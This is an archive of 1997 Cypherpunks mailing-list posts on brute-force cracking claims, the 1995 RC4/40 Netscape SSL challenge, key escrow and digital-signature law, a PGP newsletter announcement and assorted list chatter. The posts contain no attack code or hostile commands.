.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 08:16:44 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4 (fwd)
Message-ID: <Pine.SUN.3.91.970331111923.18046H-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.


---------- Forwarded message ----------
Date: Sat, 29 Mar 1997 14:37:43 -0800
From: Chris Plunkett <chris.plunkett@opensys.com>
To: pmarc@cmg.FCNBD.COM
Cc: Romulo Moacyr Cholewa <rmcholewa@poboxes.com>,
    Windows NT BugTraq Mailing List <NTBUGTRAQ@rc.on.ca>,
    "ntsecurity@iss.net" <ntsecurity@iss.net>, hughtay@microsoft.com
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4

> > We are aware of this, but the report is misleading.  The report states
> > that both times the password sent from the client to the server is
> > encrypted.  It would take quite a while for even a Cray Supercomputer to
> > decrypt the password, even if it was dedicated to that sole task.  For
> > the average network server (and a powerful one), it would take a few
> > human lifetimes to decrypt them even if they were dedicated to that sole
> > task.
> 
> Arrggghhh!  Nothing sets off my ignorance alert more quickly than somebody
> who mentions a Cray in conjunction with attempts to brute force crypto
> algorithms.  I won't bother to explain all of the reasons why that is a
> foolish thing to say.  Instead I will share a little story about some folks I
> know from about 3-4 years ago.  (Greetings to any of these individuals who
> may be lurking on NTSEC or NTBUGTRAQ.)
> 
> Apparently they had some good reasons to go after the encryption algorithm
> used by WordPerfect.  After several ineffective implementations, a
> WordPerfect engineer developed a DES based encryption algorithm.  His claim
> was that it would take a room full of Crays to break the algorithm.  Hmmm...
> sounds familiar.  Needless to say, shortly after a successful attack on the
> algorithm by those mentioned, there was a certain 486 with a YMP sticker
> plastered to its front.
> 
> Sure, brute force attacks can be expensive when an algorithm is implemented
> correctly.  However, I can't let it pass when these facts are expressed in
> such a patronizing manner.
> 
> ---
> Paul M. Cardon - System Officer
> Capital Markets Systems - First Chicago NBD Corporation
> pmarc@cmg.fcnbd.com - (312) 732-7392
> 
I heard a story one time.  It evolved around a college student in
France doing some cyptography work in school,  working nights 
as a backup operator at some large computer center.  He didn't need
a cray.   A little knowledge and some creative programming,  and 
a center full of computers (problably around the size of a Sparc 10).
The story ended explaning how one of the encryption schemes that 
would tale a Cray week to break,  was broken in one night,  by a 
bunch of computers running backups.

It might be hard to find a cray,  but I know a guy,  he works 
at this place where they got them 15 pentium pros.  The average
network server has another server for some other task on the
same wire.
------------------------------------------------------------
Chris Plunkett                             System Technician
Breakwater Technologies Inc.
phone:(206)803-5000x112                    Fax:(206)803-5001
http://www.breakwater.net        mailto:chris@breakwater.net
------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 31 Mar 1997 11:46:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Looking for a c'punk volunteer in the East Bay
Message-ID: <199703311946.LAA02543@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Fri, 21 Mar 1997 17:54:11 -0800 (PST)
From: Dennis Derryberry <dennis@eff.org>
To: gnu@toad.com

John - do Cypherpunks like to play superhero and help people who are being
hacked? A woman called who says someone had rboken into her system
reprogrammed certain controls causing her to be instantly trackable
whenever she logged in, no matter what account she used, no matter
from where, etc.

She says it happens *every* time.

Law enforcement is baffled and has no advice (surprise, surprise).

She said the FBI even recommended she hire a hacker to play along with the
culprit and see if they couldn't catch him that way.

So, if you or anyone you know is interested in a weekend sporting
event, you can reach Debra Wellman at the home of her mother 510 855 9744

I spoke with her on the phone. She is not crazy, just frustrated.

	Dennis
--
Dennis Derryberry
Executive Administrator
Electronic Frontier Foundation
Web:	http://www.eff.org
tel:	415 436 9333 x104
fax:	415 436 9993
email:	dennis@eff.org




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Mon, 31 Mar 1997 10:17:35 -0800 (PST)
To: Kent Crispin <kent@songbird.com>
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
In-Reply-To: <19970327232118.10795@bywater.songbird.com>
Message-ID: <Pine.SUN.3.91.970328125230.15157B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Kent Crispin wrote:

> > 	The PGP web of trust idea is more than sufficient.
> 
> No, it is completely inadequate.  I am the office-supply manager the 
> San Francisco branch of Big Well-known Company,  Inc.  I have 
> signature authority in the company for purchases up to $5000, 
> otherwise I have to get higher-up approval.  I have a "company 
> signature" which is authorized for that amount, one of about 800 such 
> signatures.  I wish to purchase office supplies from a large office 
> supply wholesaler in New York, which has literally tens of thousands 
> of customers.  The "web of trust" model simply does not handle this 
> kind of situation well.  I realize that some of the keyservers are 
> very high performance -- that's not the problem.  The problem is the 
> structure of the web itself.  If there were some trusted *authority* that 
> could sign keys...

Sure there is.  The HR department of Big Well-known Company, Inc. can 
sign the employee's keys.  What's the problem?  If you want to order 
something you do so by generating a P.O. or by using a credit card.  What 
does the web of trust have to do with this?

If you need approval, it's simple, you ask for it.  When you get it, you 
order your 10,000 pencil erasers.  You don't have to use PGP signatures 
for orders, but you can if the infrastructure is there between both 
companies.
 
> >	If you
> > 	want, you can designate a third party as a trusted
> > 	authority.  However, this is not needed if you meet
> > 	the person with whom you will communicate in person
> > 	and exchange public keys.  Further this trusted
> > 	authority needn't be a government entity thank you.
> > 	This could easily be your lawyer, Verisign or some
> > 	other entity.
> 
> This is no longer a web of trust model, it is a Certificate Authority 
> model.  Certificate authority standards are developing at warp speed.

No shit.  Both are possible.  Whichever your company wants it will use.

> > 	The only legal support needed for digital signatures
> > 	is for the courts to recognize that digital signatures
> > 	are equivalent to their analog counterparts.
> 
> The *only* legal support?  This is a *big* deal, and the issues are 
> very complicated.  Handwritten signatures and digital signatures are 
> really quite different.

I claimeth not lawyerhood, but IMHO, it can stand up in court if both 
parties agree to it by analog signatures infront of a notray.  Any 
lawyers care to comment?

> >	This could
> > 	be binding if the two parties sign something that says
> > 	"If I use PGP to sign a document I agree to allow that
> > 	document to be treated as if I signed it." (IMHO)
> 
> Sure.  It's been done, in fact.  However, pairwise contracts with
> everyone you do business with is not going to cut it.  You need laws
> for this. 

Not if it is agreed by all parties involved and their lawyers to honor 
such signatures. (IMHO)

> [...]
> > 
> > > 	4) Businesses, especially large businesses, will (and do)
> > > 	want common standards for key and DS management.
> > 
> > 	Yeah, and they also want standards for software.  I.e.
> > 	Word Perfect Office versus Microsoft Office. Lotus
> > 	Notes Domino versus Netscape Enterprise server.  However
> > 	neither of these examples show a need for government
> > 	entities.  They can easily say "We use PGP as our
> > 	signing standard, and our notary will be shown
> > 	a person driver license and will sign a printed email
> > 	with that person's key for proof."	
> 
> This is pair-wise contracting again.  Note, incidentally, that 
> standards concerning signatures are of a different order than 
> standards concerning office software.  There far more pressing 
> liability issues with digital signature.

Really? you must not have been gotten infected by the slew of Word and 
Excel viruses out there.  Might be a very good lawsuit against Micro$oft 
that they allowed such things to happen.

Standards for a company are standards for a company.  Which standard has 
more weight or importance is up to that company.  Sure, it is on a bigger 
scale that installing XYZ OfficeWare and getting your ass fired, but it 
is still a standard.

Is there any reason that a specific company CAN'T decide to use PGP? (or 
PEM, or some other scheme) if it so choses?

> > > 	9) There is a high probability that a widespread standard
> > > 	for enterprise level key management including key escrow
> > > 	will develop in the next few years.
> > 
> > 	Why jump to key escrow all of a sudden?  You see, a 
> > 	corporation can escrow its own keys in a fire proof
> > 	safe off site.  Why use a government agency where any
> > 	two bit crooked employee can access the keys of that
> > 	corporation?
> 
> I didn't say "government agency".  I said "Enterprise level".  A
> fireproof safe offsite is indeed a crude form of enterprise level key
> escrow.  But it's not really very useful.  Imagine a company with 
> several thousand employees, with each employee having a company 
> signature key.  You use your key for all kinds of mundane things -- 
> signing your time sheet, signing purchase orders, signing memos, 
> etc.  (This is not one of your personal keys that you use when you 
> send email to your lover.)  You have a turnover of several people a 
> month, people forgetting passphrases, people invalidating keys 
> because of a passphrase compromise, etc.  These are company signature 
> keys, also used for encrypting email, so the company escrows all the 
> secret halves of the keypairs.  (There is no privacy issue here -- 
> these are all company keys used for company business, all the 
> encrypted documents are company documents.)

So what's the problem?  You hire people to keep track of assigning, 
escrowing, and signing keys for your employees.  You have IS staff and 
security staff to watch for breeches.  You can automate tons of this with 
good written scripts that automatically scan all email for valid 
signatures and raise alarms when signatures don't match.

Where is this not useful?  For a small company a locked safe is plenty.  
For a large company, you hire HR/Security folks to be your "Key Agents" 
or whatever.

 
> In this scenario there is daily access to the key escrow system.  A 
> fireproof safe offsite is not the most convenient way to deal with 
> the problem, and so the company will buy a software solution -- a 
> nice, cryptographically secure, software solution.  (This is 
> obviously not a hard problem -- any cypherpunk should be able to 
> design such a system.)

Yeah, ditto.  We agree on this.  We also would want something sent 
offsite incase of nuke, flood, fire, or mass suicide. :-)  (sorry had to 
throw in a Heaven's Gate ref somewhere.)

> > > 	10) This will converge with legal developments motivated by
> > > 	Digital Signature and support for electronic commerce, so that
> > > 	the standards will actually be government standards with at
> > > 	least partial force of law.
> > 
> > 	Why do commercial standards need be the same as those 
> > 	dictated by govermental standards? 
> 
> Many commercial "standards" are legal standards, supplied by the
> government.  In fact, the whole legal infrastructure of business law
> is really, when you get right down to it, a set of legally mandated
> standards.  Standards are all over the map, when it comes to legal 
> status.

Because there are laws that force such standards on the company.  So far 
are there any laws that say you can't use anything but DSA? (Or Clipper, 
or whatever NSA backed scheme d'jour is being pushed?)  If there were 
such laws in progress, they would be fought. :)

> >	Why does there need
> > 	to be a law that says "All businesses MUST use clipper
> > 	(or whatever) and escrow keys with the FBI/CIA/etc.?"
> 
> There doesn't need to be such a law.  

So we agree. :)

> [...]
> > 	Sure, hence the old "When encryption is outlawed only outlaws will
> > 	encrypt" slogan.  Why do we need laws to state what a company is
> > 	allowed to encrypt or not encrypt?  And why must those state
> > 	what cypher, bit lengths, and methods they must use?  And that they
> > 	must be escrowed in a certain way?
> 
> How about a law that stated that all RSA keys used for digital 
> signature must be at least 4096 bits in length before they will be 
> accepted as legally binding?  Would that be a good law or a bad law?

It would be cool by me to impose a minimum provided that the current state of
hardware could process such keys without too much of a delay factor, but not
a maximum.  If I am sick enough to want a 16384 bit RSA key, why force me to
use something lesser?

But within a company, were I insistent enough for whatever reason to use 
384 bit RSA keys, as weak as they are and that was my company's policy I 
should be able to allow it.  (Just as employers can read email if you 
expect that you have no privacy on the company email system.)

> > 	Where I work, we keep in "escrow" a key database (on index cards)
> > 	with all the passwords for all the machines.  Also in that fire
> > 	proof safe live all the backups.  
> 
> Funny, we do exactly the same thing.  Except once a year or so 
> complete backups are carted off to the desert, and stored 
> forever. 

Ours is a bit more paranoid.  We offsite a tape on the 15th and last day 
of every month.  Every few months we burn a pair of CD's of the important 
stuff, keep one in the local safe, one offsite.

> > Yeah, and likely you should change your underwear since it is soaked in 
> > it. :)
> 
> Over the years I've developed an asbestos butt.

It helps (looking at my own flame resistant shorts...)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If  you're  gonna die,  die  with your|./|\.
..\|/..|sunder@sundernet.com|boots on;  If you're  gonna  try,  just |/\|/\
<--*-->| ------------------ |stick around; Gonna cry? Just move along|\/|\/
../|\..| "A toast to Odin,  |you're gonna die, you're gonna die!"    |.\|/.
.+.v.+.|God of screwdrivers"|  --Iron Maiden "Die With Your Boots on"|.....
======================== http://www.sundernet.com =========================
  For with those which eternal lie, with strange eons even death may die.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 31 Mar 1997 11:46:43 -0800 (PST)
To: Hal Finney <hal@rain.org>
Subject: Re: The Blessing of Keys
In-Reply-To: <199703311723.JAA25672@crypt.hfinney.com>
Message-ID: <33401488.14C5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney wrote:
 
> I don't know about Tim's idea of claiming that a key signature is a
> religious act.  That sounds pretty bizarre to me.

  I wouldn't be so certain about that. Give the CypherPunks history of
treating PGP as a Holy Icon, I think a good case could be made for 
building a religion around key signatures.

  Apparently, however, not all CypherPunks can be considered 'True
Believers'. I, among others, checked out the information in the 
anonymous post which indicated press reports of the RSA algorithm
being broken.
  I suppose that now I will be denied the opportunity to partake of the
PGP Sacrament at the next CypherMass.
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 31 Mar 1997 12:45:41 -0800 (PST)
To: Ray Arachelian <cypherpunks@toad.com
Subject: Re: PRESS REPORT - IMPORTANT?????
In-Reply-To: <199703310825.KAA13268@spoof.bart.nl>
Message-ID: <3.0.1.32.19970331154851.00781540@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:05 AM 3/31/97 -0500, Ray Arachelian wrote:
>Is this for real or a troll???
>

It's not in *my* copy of the Sunday Times.  Sounds like the Russkies haver
broken RSA" trolls we've seen before.  It's a 'Ripov'.

DCF






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Mon, 31 Mar 1997 16:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Bank for International Settlement (BIS) report on bitbux
Message-ID: <199704010028.QAA07461@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: Pete Yeatrakas <pyeatrakas@wespay.org>

For those of you interested in security of electronic money, you may
want to browse the Bank on International Settlement (BIS) page and read
a report issued in 1996.  BIS is the organization of G-10 central banks
(e.g., in the US, Federal Reserve Bank Board) who meet to discuss
international payments issues.  The excerpt below is the first paragraph
from http://www.bis.org/publ/cpss18.htm announcing the study of
"security of electronic money," available in pdf format. 

BIS 1996 annual report (http://www.bis.org/publ/cpss19.htm) also
provides detailed information about each country's payment system
(currency in circulation, number of ATMs and financial
institutions/branches, GDP, population - 1990 through 1995) and
concludes with a comparative analysis of those countries (with currency
compared in US dollars).  This is a valuable resource for the student of
European and US payment systems.
 (BIS home page is http://www.bis.org )
Best Regards,
Peter Yeatrakas


"Committee on Payment and Settlement Systems 
SECURITY OF ELECTRONIC MONEY
FOREWORD
In November 1995, the central bank Governors of the Group of Ten (G-10)
countries commissioned a series of studies on specific issues related to
electronic money, in view of the potential importance of this new form
of money and its implications for monetary policy, consumer protection
and payment systems. These studies were carried out by the Committee on
Payment and Settlement Systems (CPSS). For the examination of the
security aspects of electronic money schemes the CPSS sought the
assistance of the Group of Computer Experts, which established for
that purpose the Task Force on Security of Electronic Money, chaired by
Mr. Israel Sendrovic from the Federal Reserve Bank of New York. At their
meeting in July 1996 the G-10 Governors discussed the various reports
that had been commissioned and agreed on the publication of the
present report on Security of Electronic Money. The report is not
necessarily intended to represent the official views of the Governors."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Mon, 31 Mar 1997 13:32:42 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: The Zimmermann Telegram
Message-ID: <3.0.1.32.19970331163225.007c57f0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


>Date: Mon, 31 Mar 1997 11:59:49 -0800
>To: telegram-request@pgp.com
>From: Dave Del Torto <ddt@pgp.com>
>Subject: The Zimmermann Telegram
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>
>Ladies, Gentlemen & Cryptographers,
>
>I'm pleased to announce the imminent release of the premier issue of the
>new "Zimmermann Telegram" newsletter. The Zimmermann Telegram will be a
>regularly-published, paper-based, English-language technical update
>newsletter from PGP's engineering staff, and will cover a variety of
>cryptographic and other lighthearted topics which we may otherwise be
>restricted from discussing via electronic media. The newsletter will be
>sent, in compliance with US law, by regular postal mail to anyone
>interested in technical information about PGP -- anywhere in the world.
>
>If you are now developing PGP-related freeware, shareware, commercial or
>academic cryptographic software, or you plan in future to become a
>registered PGP Developer or PGP World Partner (those programs are currently
>under construction and will be formally announced later) or if you are just
>interested in technical information about cryptography, we think you'll
>enjoy reading our newsletter.
>
>In the premier issue, along with important updates regarding changes to the
>PGP packet format, CRC security problems and new extensions to the PGP key
>format which are not available through any other medium, you'll learn about
>the significance of the "Zimmermann Telegram" name. Meanwhile, visit this
>page: <http://www.nara.gov/nara/digital/teaching/zimmermann/zimmerma.html>.
>
>Scheduled to be mailed imminently, the premier issue will be sent free to
>anyone who provides us with a postal mail address. After that, regular
>subscriptions will require a modest fee (to be announced) to cover our
>mailing costs, but we've committed to offering a limited number of free
>one-year subscriptions to interested members of the cryptography community.
>To request your free subscription, please send email to me at:
>
><mailto:telegram-request@pgp.com?subject=first_issue_free_subscription_req>
>
>In the body of your request, please include the form below (items between
>the cut-lines ONLY, and preferably PGP-signed), and replace the lines with
>your complete postal mail address info as indicated. We'll put an HTML
>subscription form on our website, but for the premier issue, we're managing
>the subscription process via email. Thank you for your patience as we
>deploy rapidly. :)
>
>............................. form begins here .............................
>The Zimmermann Telegram
>PGP's Technical Newsletter
>
>           - Premier Issue & One-Year Free Subscription Request -
>
>Subscription Information (Premier Issue):
>
> name                 (optional, but appreciated)
> title                (optional)
> organization/dept    (optional, as appropriate)
> street address
> mailstop             (optional)
> city/state/province
> zip-/postal-code
> country
>
>Free Subscription Category: (please [x] only one)
>
> [ ] academic
> [ ] public library
> [ ] media maven
> [ ] human-rights/privacy activist
> [ ] corporate security
> [ ] impoverished cypherpunk
> [ ] software analyst
> [ ] law enforcement
> [ ] freedom-fighter
> [ ] intelligence agency
> [ ] freeware developer
>
>.............................. form ends here ..............................
>
>Privacy Lock: If you are concerned about the privacy of your personal
>information when sent over unsecured public networks, please feel free to
>encrypt your subscription request to my key, which can be found at:
><http://swissnet.ai.mit.edu:11371/pks/lookup?op=index&search=0x4AAF00E5>.
>Pretty Good Privacy Inc will take all reasonable precautions to protect
>this information and will not use it for any other purpose without first
>asking your permission. Also, PGP will not sell or give the information to
>another entity and will store the list securely between mailings.
>
>Please feel free to circulate/forward this message (with PGP-signature)
>among your friends and colleagues (remember: the free subscription offer
>expires on 30 April 1997). We look forward to your comments on The
>Zimmermann Telegram and thank you for your continued support of PGP.
>
>
>   dave
>
>_________________________________________________________________________
>Dave Del Torto                                       +1.415.524.6231  tel
>Senior Technical Evangelist                          +1.415.572.1932  fax
>Pretty Good Privacy, Inc.                         http://www.pgp.com  web
>                                                        X-PGP header  key
>
>
>........................ "The Zimmermann Telegram" ........................
>Copyright (c) 1997 Pretty Good Privacy, Inc. All Rights Reserved. PGP and
>Pretty Good Privacy are registered trademarks of Pretty Good Privacy, Inc.
>Permission is granted to the reader to reproduce and distribute exact
>copies of this document, in physical or electronic form, on a
>non-commercial basis (i.e., at no direct or indirect charge). This document
>has been made available in hard copy on a subscription basis and is
>available in public libraries in the United States. Accordingly, and solely
>for purposes of U.S. Export Control laws and regulations (but not copyright
>or other intellectual property laws), this document is considered in the
>"public domain." The information in this document is of an exploratory or
>experimental nature. As such, it is subject to change without notice and is
>provided "AS IS." No guarantee is made that it is free of errors or that it
>will meet your requirements. While we welcome your feedback on this
>document, we are unable to provide any technical support for its contents.
>...........................................................................



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Mon, 31 Mar 1997 16:49:23 -0800 (PST)
To: DC-Stuff List <dc-stuff@dis.org>
Subject: Opportunity
Message-ID: <Pine.BSI.3.91.970331164605.13358F-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain



I need to find someone, preferably living in the Midwest, Great Lakes or 
Northeast part of the country, who knows the JAVA programming language. 
I am giving a two-day introductory course to the language next month in 
Cleveland. I will teach the first day, leaving someone to pick up the 
second day. You would be paid a fee plus all expenses.

Please reply privately off list.

se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Evil se7en <se7en@dis.org>
Date: Mon, 31 Mar 1997 16:55:29 -0800 (PST)
To: DC-Stuff List <cypherpunks@toad.com>
Subject: Re: Opportunity
In-Reply-To: <Pine.BSI.3.91.970331164605.13358F-100000@kizmiaz.dis.org>
Message-ID: <Pine.BSI.3.91.970331165416.13358J-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 31 Mar 1997, Evil se7en wrote:

> I need to find someone, preferably living in the Midwest, Great Lakes or 
> Northeast part of the country, who knows the JAVA programming language. 
> I am giving a two-day introductory course to the language next month in 
> Cleveland. I will teach the first day, leaving someone to pick up the 
> second day. You would be paid a fee plus all expenses.

Uh, just posted this, and now I also need someone who can teach Windows 
NT 4.0 from a security standpoint. Same deal as above. Reply as list.

se7en




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 31 Mar 1997 15:24:38 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: Looking for a c'punk volunteer in the East Bay
In-Reply-To: <199703311946.LAA02543@toad.com>
Message-ID: <199703312323.RAA25498@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


she has to pay real $$ for this job.

igor

John Gilmore wrote:
> 
> Date: Fri, 21 Mar 1997 17:54:11 -0800 (PST)
> From: Dennis Derryberry <dennis@eff.org>
> To: gnu@toad.com
> 
> John - do Cypherpunks like to play superhero and help people who are being
> hacked? A woman called who says someone had rboken into her system
> reprogrammed certain controls causing her to be instantly trackable
> whenever she logged in, no matter what account she used, no matter
> from where, etc.
> 
> She says it happens *every* time.
> 
> Law enforcement is baffled and has no advice (surprise, surprise).
> 
> She said the FBI even recommended she hire a hacker to play along with the
> culprit and see if they couldn't catch him that way.
> 
> So, if you or anyone you know is interested in a weekend sporting
> event, you can reach Debra Wellman at the home of her mother 510 855 9744
> 
> I spoke with her on the phone. She is not crazy, just frustrated.
> 
> 	Dennis
> --
> Dennis Derryberry
> Executive Administrator
> Electronic Frontier Foundation
> Web:	http://www.eff.org
> tel:	415 436 9333 x104
> fax:	415 436 9993
> email:	dennis@eff.org
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 31 Mar 1997 17:12:26 -0800 (PST)
To: devnull@manifold.algebra.com
Subject: Re: Bank for International Settlement (BIS) report on bitbux
In-Reply-To: <199704010028.QAA07461@toad.com>
Message-ID: <199704010109.TAA26571@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


John Gilmore wrote:
> For the examination of the
> security aspects of electronic money schemes the CPSS sought the
> assistance of the Group of Computer Experts

Long live CPSS!

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 31 Mar 1997 20:15:11 -0800 (PST)
To: chris@breakwater.net
Subject: Re: [NTSEC] Re: Internet Explorer Bug #4 (fwd)
In-Reply-To: <Pine.SUN.3.91.970331111923.18046H-100000@beast.brainlink.com>
Message-ID: <3.0.1.32.19970331201125.0064f4f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:19 AM 3/31/97 -0500, Ray Arachelian forwarded:
>---------- Forwarded message ----------
>Date: Sat, 29 Mar 1997 14:37:43 -0800
>From: Chris Plunkett <chris.plunkett@opensys.com>
>To: pmarc@cmg.FCNBD.COM
>Cc: Romulo Moacyr Cholewa <rmcholewa@poboxes.com>,
>    Windows NT BugTraq Mailing List <NTBUGTRAQ@rc.on.ca>,
>    "ntsecurity@iss.net" <ntsecurity@iss.net>, hughtay@microsoft.com
>Subject: Re: [NTSEC] Re: Internet Explorer Bug #4

	[Amusing story deleted "486 with 'YMP' sticker on it]
>I heard a story one time.  It evolved around a college student in
>France doing some cyptography work in school,  working nights 
>as a backup operator at some large computer center.  He didn't need
>a cray.   A little knowledge and some creative programming,  and 
>a center full of computers (problably around the size of a Sparc 10).
>The story ended explaning how one of the encryption schemes that 
>would tale a Cray week to break,  was broken in one night,  by a 
>bunch of computers running backups.

This is almost certainly the RC4/40 crack in August 1995 by
Damien Doligez in response to Hal Finney's challenge.
It had actually been broken a few hours earlier by an
English (Anglo-American?) team using a coordinated
Internet attack, but Damien noticed his success before
they noticed theirs.  Much noise was made in the press by
various people about "Using $10,000 worth of supercomputer time",
but in fact the antique KSR-1 contributed far less crunching than
the bunch of DEC Alpha workstations, and the amount of money
per crack (if you'd been renting computer time) would have been
far less.  Subsequent cracks were run by the Internet team,
which ran even faster, once they were organized.
Various Cypherpunks were quoted in the press talking about
how the US export laws were bogus, and how the maximum-strength
crypto allowed by US law could be broken by a grad student over
a weekend.

Since then, there have been other cracks - the RC5/40 crack by
Ian Goldberg took 3.5 hours on a Network of Workstations at Berkeley,
winning the RSA challenge a few minutes before Germano Caronni's
distributed Internet team, which subsequently broke the RC5/48 challenge.
It's been popular in the press to refer to these talented researchers as
"a grad student" when trying to make the point that "anybody could
break this wimpy stuff" or as "a university research team with a 
room full of expensive supercomputers" when trying to pretend
the export limits are reasonable for the real world.

The news article below is from "NB", presumably "NewsBytes",
and was posted without permission to the cypherpunks list
by an anonymous remailer user.
======================================================
Date: Sat, 19 Aug 1995 00:01:18 +0200
Subject: WhiSSLing in the Dark 
To: cypherpunks@toad.com
From: nobody@REPLAY.COM (Anonymous)

Netscape Encrypted Data Cracked

Tokyo, Japan, Aug. 18 (NB) -- Two computer users have
managed to break Netscape's Secure Sockets Layer (SSL)
encryption code in response to a challenge posted to the
Internet. But far from scaring people away from using the
system for online purchases, the results could reassure
people of the safety.

In mid July Hal Finney, a US computer user, posted data
in an Internet message that he recorded when he sent an
order, containing a fake name and credit card details, to
Netscape's own computer. Setting a task for the hacking
community, he wrote, "The challenge is to break the
encryption and recover the name and address info I
entered in the form and sent securely to Netscape."

Early this week, news came from Damien Doligez, a French
computer user, that he had cracked the code and revealed
the contents of the message. Several hours later a
message from an American team also claimed the same feat,
actually cracking it two hours earlier than Doligez.

While the results look damaging on the surface, Netscape,
and Doligez, pointed out the amount of computer
processing power needed to hack just one message and the
difficulty in repeating the process.

Roseanne Siino of Netscape told Newsbytes, "The real
issue is whether this compromises security on the net. He
used 120 computers for 8 days just to crack one message."
Siino points out that to break into another message would
require another eight days at the same 120 workstations
and 2 parallel computers.

In home computer terms, Doligez guesses a network of
about 80 Intel Pentium-based machines would be equivalent
to the system he had access to via his workplace, INRIA
in Paris, and computers an Ecole Polytechnique and ENS.

Netscape estimates the total cost of this computing time
at around $10,000, meaning there are many more economical
ways of getting credit cards numbers than hacking into
Netscape SSL messages.

Doligez agrees, writing on his home page: "The technical
implications are almost zero. Everybody who understands
the technical details knew perfectly well that this was
do-able and even easy. You have to understand what
happened exactly. I did not break SSL itself. I did only
break one SSL session that used the weakest algorithm
available in SSL. If I want to break another session, it
will cost another 8 days of all my machines."
The vulnerability of the encryption system is shown by
its international use. The coding system available via
Netscape software from the Internet makes use of a 40-bit
encryption key. A stronger version, using a 128-bit key,
is available to US citizens but restricted from export
outside the United States by government regulations.

Netscape's Siino explained the US government allows
export of the lower security version "because they can
break it."

There are some hopes that this demonstration will help
persuade the US government to lift export restrictions on
some harder-to-crack versions of the code.

Netscape is currently developing a new Secure Courier
code which just encrypts the financial data in the
messages using 56-bit keys. Siino explained, "You can
export over 40-bit keys for a specific application." The
new system should be available early next year.

Many companies working on secure transaction systems hope
the much more secure 128-bit code version of the system
will be available for export eventually. This is said to
be almost unbreakable, requiring a trillion times more
processing power to crack than the 40-bit version.

Internet users can view a copy of the original challenge,
access Doligez's home page with details of his result,
get copies of the program used to crack the code and read
Netscape's response to the news through a special section
at Netscape,

http://home.netscape.com/newsref/std/key_challenge.html

Press contacts : Roseanne Siino, Netscape,
+1-415-528-2619 , Internet email roseanne@netscape.com;
Damien Doligez, Internet email damien.doligez@inria.fr ;
Hal Finney, Internet email hfinney@shell.portal.com)

=========================================================================




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Mon, 31 Mar 1997 19:18:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 23
Message-ID: <33407EA8.320@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


